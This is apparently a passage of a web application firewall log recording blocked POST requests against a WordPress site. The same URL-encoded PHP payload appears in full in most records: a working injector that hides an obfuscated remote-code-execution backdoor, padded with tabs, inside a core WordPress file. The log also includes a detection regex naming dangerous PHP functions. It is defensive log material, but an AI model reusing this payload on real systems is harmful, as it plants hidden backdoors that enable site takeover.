%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4464\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nxc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:52:53","69.167.165.138","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4464\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMx0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\n\nfM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:52:59","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4464\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nUJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:54:32","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ha:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-recent-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx67rp%2522%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx67rp%2522%255D%253B%2520%2524element%253Dexplode%2520%2528%2522.%2522%2520%252C%2520%2524element%2520%2529%2520%253B%2520%2524dat%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524q%2520%253D0%253B%2520array_walk%2528%2524element%2520%252Cfunction%2520%2528%2524v2%2529%2520use%2520%2528%2526%2524dat%2520%252C%2526%2524q%2520%252C%2524s%2520%252C%2524sLen%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524s%255B%2524q%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%2520%253D%2528%2528int%2529%2524v2%2520-%2520%2524chS%2520-%2520%2528%2524q%2520%2525%252010%2529%2529%255E84%253B%2520%2524dat%2520.%253Dchr%2528%2524d%2529%253B%2520%2524q%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524record%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524object%2529%2520%252A%2520is_writable%2528%2524object%2529%2529%2529%2520%257B%2520%2524key%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524object%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524key%252C%2520%2524dat%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524key%253B%2520unlink%2528%2524key%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ 